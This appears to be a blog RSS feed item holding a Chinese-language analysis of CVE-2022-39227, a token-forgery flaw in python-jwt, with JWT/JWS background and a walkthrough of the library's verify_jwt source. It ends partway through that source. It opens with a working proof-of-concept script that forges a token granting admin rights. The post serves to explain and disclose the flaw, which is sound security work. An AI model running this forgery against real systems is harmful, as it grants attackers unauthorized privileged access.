<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>a7ca3's Blog</title><link>https://a7ca3.github.io/</link><description>feedId:144941137966342144+userId:78721118773581824 Recent content on a7ca3's Blog</description><image><title>a7ca3's Blog</title><url>https://a7ca3.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url><link>https://a7ca3.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link></image><generator>Hugo -- 0.145.0</generator><language>zh</language><copyright>©2025 a7ca3&amp;rsquo;s Blog</copyright><lastBuildDate>Mon, 12 May 2025 14:17:27 +0800</lastBuildDate><atom:link href="https://a7ca3.github.io/index.xml" rel="self" type="application/rss+xml"/><item><title>CVE-2022-39227 漏洞解析</title><link>https://a7ca3.github.io/post/cve-2022-39227-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90/</link><pubDate>Mon, 12 May 2025 14:17:27 +0800</pubDate><guid>https://a7ca3.github.io/post/cve-2022-39227-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90/</guid><description>&lt;p>CVE-2022-39227描述了&lt;code>python-jwt &amp;lt; 3.3.4&lt;/code>模块存在身份验证绕过漏洞，即攻击者在不知道JWT的加密密钥的情况下，仍然可以伪造JWT的内容。&lt;/p></description><content:encoded><![CDATA[<p>CVE-2022-39227描述了<code>python-jwt &lt; 3.3.4</code>模块存在身份验证绕过漏洞，即攻击者在不知道JWT的加密密钥的情况下，仍然可以伪造JWT的内容。</p>
<p>举个例子：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">python_jwt</span> <span class="k">as</span> <span class="nn">jwt</span> <span class="c1"># python-jwt == 3.3.3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">jwcrypto.jwk</span> <span class="k">as</span> <span class="nn">jwk</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">timedelta</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">secret_key</span> <span class="o">=</span> <span class="n">jwk</span><span class="o">.</span><span class="n">JWK</span><span class="o">.</span><span class="n">generate</span><span class="p">(</span><span class="n">kty</span><span class="o">=</span><span class="s1">&#39;oct&#39;</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="mi">256</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 生成原始JWT</span>
</span></span><span class="line"><span class="cl"><span class="n">original_payload</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;admin&#34;</span><span class="p">:</span> <span class="kc">False</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="n">original_token</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">generate_jwt</span><span class="p">(</span><span class="n">original_payload</span><span class="p">,</span> <span class="n">secret_key</span><span class="p">,</span> <span class="s1">&#39;HS256&#39;</span><span class="p">,</span> <span class="n">timedelta</span><span class="p">(</span><span class="n">minutes</span><span class="o">=</span><span class="mi">5</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;---- Original JWT ----&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">original_token</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 攻击</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="n">header</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">signature</span><span class="p">]</span> <span class="o">=</span> <span class="n">original_token</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded_payload</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">jwt</span><span class="o">.</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded_payload</span><span class="p">[</span><span class="s1">&#39;admin&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="kc">True</span> <span class="c1"># 篡改admin值进行提权</span>
</span></span><span class="line"><span class="cl"><span class="n">forged_payload</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">base64url_encode</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">decoded_payload</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">forged_token</span> <span class="o">=</span> <span class="s1">&#39;&#39;&#39;{
</span></span></span><span class="line"><span class="cl"><span class="s1">    &#34;</span><span class="si">%s</span><span class="s1">.</span><span class="si">%s</span><span class="s1">.&#34;: &#34;&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">    &#34;protected&#34;: &#34;</span><span class="si">%s</span><span class="s1">&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">    &#34;payload&#34;: &#34;</span><span class="si">%s</span><span class="s1">&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">    &#34;signature&#34;: &#34;</span><span class="si">%s</span><span class="s1">&#34;
</span></span></span><span class="line"><span class="cl"><span class="s1">}&#39;&#39;&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">header</span><span class="p">,</span> <span class="n">forged_payload</span><span class="p">,</span> <span class="n">header</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">signature</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;---- Forged Token ----&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">forged_token</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 验证</span>
</span></span><span class="line"><span class="cl"><span class="n">verify_result</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">verify_jwt</span><span class="p">(</span><span class="n">forged_token</span><span class="p">,</span> <span class="n">secret_key</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;HS256&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;---- Verify Result ----&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">verify_result</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>运行结果如下：</p>
<p><img alt="image.png" loading="lazy" src="https://cdn.jsdelivr.net/gh/studyHard282/imgHost@main/blog/20250510145451.png">
可以看到，<code>forged_token</code>与先前的<code>original_token</code>的结构似乎截然不同，却顺利地通过了<code>verify_jwt()</code>的校验，并且解析结果就是攻击者篡改后的<code>'admin': True</code>的结果。</p>
<p>这样的结果令人不可思议：为什么攻击者连<code>signature</code>都没修改，就顺利通过了校验呢？下面我们将详细探讨。</p>
<h2 id="0x01-前置知识jwtjws">0x01 前置知识（JWT&amp;JWS）</h2>
<h3 id="jwt">JWT</h3>
<p>我们来观察这样一个字符串：</p>
<pre tabindex="0"><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30
</code></pre><p>可以注意到，这个字符串由3个部分组成，每个部分都经过了base64编码，并以<code>.</code>连接。对每个部分进行base64解码，可以发现第一个部分内容为</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;alg&#34;</span><span class="p">:</span> <span class="s2">&#34;HS256&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;typ&#34;</span><span class="p">:</span> <span class="s2">&#34;JWT&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>我们将其称作<code>Header</code>，中文翻译为“头部”。这里，<code>alg</code>字段标明了字符串使用的加密算法是<code>HS256</code>，<code>typ</code>字段标明了这一个编码对象是<code>JWT</code>。</p>
<p>第二个部分内容为</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;sub&#34;</span><span class="p">:</span> <span class="s2">&#34;1234567890&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;John Doe&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;admin&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;iat&#34;</span><span class="p">:</span> <span class="mi">1516239022</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>我们将其称作<code>Payload</code>，中文翻译为“载荷”。这里，我们可以注意到像<code>sub</code>，<code>iat</code>这样的<strong>注册声明名称</strong>（Registered Claim Names），也有<code>name</code>，<code>admin</code>这样的用户自行定义的字段。关于更多注册声明名称的含义，读者可查阅<a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1">RFC 7519</a>等资料进一步了解。</p>
<p>第三个解码后似乎是一团乱码，我们不妨看看它的Hex：</p>
<pre tabindex="0"><code>00000000  28 c5 05 b0 80 d3 9c 59 b2 1b 79 cc 88 63 3a 1f  |(Å.°.Ó.Y².yÌ.c:.|
00000010  d1 4d 15 44 4e 7f 7c 21 ed 29 aa 26 94 15 df     |ÑM.DN.|!í)ª&amp;..ß|
</code></pre><p>这个部分称作<code>Signature</code>，也就是签名。这意味着其没有可读性，而用于<strong>校验字符串是否被别人篡改</strong>。<code>Signature</code>对<code>Header</code>和<code>Payload</code>部分的内容进行签名。</p>
<p><code>Header</code>部分的<code>alg</code>字段标明了签名使用的是<code>HS256</code>算法，也就是 <em>HMAC using SHA-256</em> 算法计算得到的签名值。关于更多<code>alg</code>字段含义，读者可查阅<a href="https://datatracker.ietf.org/doc/html/rfc7518#section-3.1">RFC 7518</a>等资料进一步了解。</p>
<p>既然<code>Header</code>部分的<code>typ</code>字段表明了这个字符串是<code>JWT</code>，我们也理所当然将这个字符串称作<strong>JWT</strong>（JSON Web Token）。上述关于<code>Header</code>，<code>Payload</code>，<code>Signature</code>的介绍也是关于JWT的介绍。</p>
<p>其实，这个字符串也可称作“<strong>紧凑型</strong>的<strong>JWS</strong>”。</p>
<h3 id="jws">JWS</h3>
<p><strong>JWS</strong>（JSON Web Signature）拥有两种形式，一种是JSON形式的，称作<strong>JWS JSON 序列化</strong>（JWS JSON Serialization），另一种就是如刚才我们所见的，称作<strong>JWS 紧凑序列化</strong>（JWS Compact Serialization）。</p>
<h4 id="jws-json-serialization">JWS JSON Serialization</h4>
<p><a href="https://datatracker.ietf.org/doc/html/rfc7515#section-7.2">JWS JSON 序列化</a>的通用形式如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;payload&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;payload contents&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;signatures&#34;</span><span class="p">:[</span>
</span></span><span class="line"><span class="cl">       <span class="p">{</span><span class="nt">&#34;protected&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;integrity-protected header 1 contents&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">	    <span class="nt">&#34;header&#34;</span><span class="p">:</span><span class="err">&lt;non-integrity-protected</span> <span class="err">header</span> <span class="mi">1</span> <span class="err">contents&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">	    <span class="nt">&#34;signature&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;signature 1 contents&gt;&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="err">...</span>
</span></span><span class="line"><span class="cl">       <span class="p">{</span><span class="nt">&#34;protected&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;integrity-protected header N contents&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">	    <span class="nt">&#34;header&#34;</span><span class="p">:</span><span class="err">&lt;non-integrity-protected</span> <span class="err">header</span> <span class="err">N</span> <span class="err">contents&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">	    <span class="nt">&#34;signature&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;signature N contents&gt;&#34;</span><span class="p">}]</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>遇到单个<code>signature</code>的情况下，我们可以使用<strong>扁平化</strong>的JWS JSON 序列化（Flattened JWS JSON Serialization）：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;payload&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;payload contents&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;protected&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;integrity-protected header contents&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;header&#34;</span><span class="p">:</span><span class="err">&lt;non-integrity-protected</span> <span class="err">header</span> <span class="err">contents&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;signature&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;signature contents&gt;&#34;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>综上所述，JWS JSON 序列化有通用形式、扁平化形式这两种形式，其中扁平化形式用于优化只有单个<code>signature</code>的情况。</p>
<p>JWS JSON 序列化的头部分为“受保护的头部”（JWS Protected Header）和“不受保护的头部”（JWS Unprotected Header）两种，分别对应<code>protected</code>与<code>header</code>字段。因此，<code>protected</code>字段和<code>payload</code>字段的内容会参与签名，从而防止在传输过程中遭到攻击者篡改。而<code>header</code>字段内容不会参与签名。</p>
<h4 id="jws-compact-serialization">JWS Compact Serialization</h4>
<p>JWS 紧凑序列化的格式也正如刚才对JWT的介绍所示，即</p>
<pre tabindex="0"><code>BASE64URL(UTF8(JWS Protected Header)) || &#39;.&#39; ||
BASE64URL(JWS Payload) || &#39;.&#39; ||
BASE64URL(JWS Signature)
</code></pre><p>值得注意的是，JWS 紧凑序列化只有<code>Protected Header</code>，也就是说相对于JWS JSON 序列化而言，它的<code>header</code>内容全部属于<code>protected</code>字段。因此JWS 紧凑序列化的<code>Header</code>与<code>Payload</code>都会参与签名，这恰好与JWT的情况相同。</p>
<p>由此可见，对于刚才所举例子的字符串，我们可以同时称呼它为“JWT”和“JWS 紧凑序列化”。</p>
<h2 id="0x02-源码分析">0x02 源码分析</h2>
<p>回到正题上来，我们对源码进行分析，从而理解漏洞的形成原因以及如何利用该漏洞。</p>
<h3 id="verify_jwt">verify_jwt()</h3>
<p><code>verify_jwt()</code>的源码如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">verify_jwt</span><span class="p">(</span><span class="n">jwt</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="n">pub_key</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="n">allowed_algs</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="n">iat_skew</span><span class="o">=</span><span class="n">timedelta</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">               <span class="n">checks_optional</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="n">ignore_not_implemented</span><span class="o">=</span><span class="kc">False</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">allowed_algs</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">allowed_algs</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">allowed_algs</span><span class="p">,</span> <span class="nb">list</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># jwcrypto only supports list of allowed algorithms</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;allowed_algs must be a list&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">header</span><span class="p">,</span> <span class="n">claims</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">parsed_header</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">header</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">alg</span> <span class="o">=</span> <span class="n">parsed_header</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;alg&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">alg</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;alg header not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">alg</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">allowed_algs</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;algorithm not allowed: &#39;</span> <span class="o">+</span> <span class="n">alg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">ignore_not_implemented</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">parsed_header</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">k</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">JWSHeaderRegistry</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;unknown header: &#39;</span> <span class="o">+</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="ow">not</span> <span class="n">JWSHeaderRegistry</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">.</span><span class="n">supported</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;header not implemented: &#39;</span> <span class="o">+</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">pub_key</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">token</span> <span class="o">=</span> <span class="n">JWS</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="n">token</span><span class="o">.</span><span class="n">allowed_algs</span> <span class="o">=</span> <span class="n">allowed_algs</span>
</span></span><span class="line"><span class="cl">        <span class="n">token</span><span class="o">.</span><span class="n">deserialize</span><span class="p">(</span><span class="n">jwt</span><span class="p">,</span> <span class="n">pub_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="s1">&#39;none&#39;</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">allowed_algs</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;no key but none alg not allowed&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">parsed_claims</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">claims</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">utcnow</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">utcnow</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">now</span> <span class="o">=</span> <span class="n">timegm</span><span class="p">(</span><span class="n">utcnow</span><span class="o">.</span><span class="n">utctimetuple</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">typ</span> <span class="o">=</span> <span class="n">parsed_header</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;typ&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">typ</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">checks_optional</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;typ header not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">typ</span> <span class="o">!=</span> <span class="s1">&#39;JWT&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;typ header is not JWT&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">iat</span> <span class="o">=</span> <span class="n">parsed_claims</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;iat&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">iat</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">checks_optional</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;iat claim not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">iat</span> <span class="o">&gt;</span> <span class="n">timegm</span><span class="p">((</span><span class="n">utcnow</span> <span class="o">+</span> <span class="n">iat_skew</span><span class="p">)</span><span class="o">.</span><span class="n">utctimetuple</span><span class="p">()):</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;issued in the future&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">nbf</span> <span class="o">=</span> <span class="n">parsed_claims</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;nbf&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">nbf</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">checks_optional</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;nbf claim not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">nbf</span> <span class="o">&gt;</span> <span class="n">now</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;not yet valid&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">exp</span> <span class="o">=</span> <span class="n">parsed_claims</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;exp&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">exp</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">checks_optional</span><span class="p">:</span>
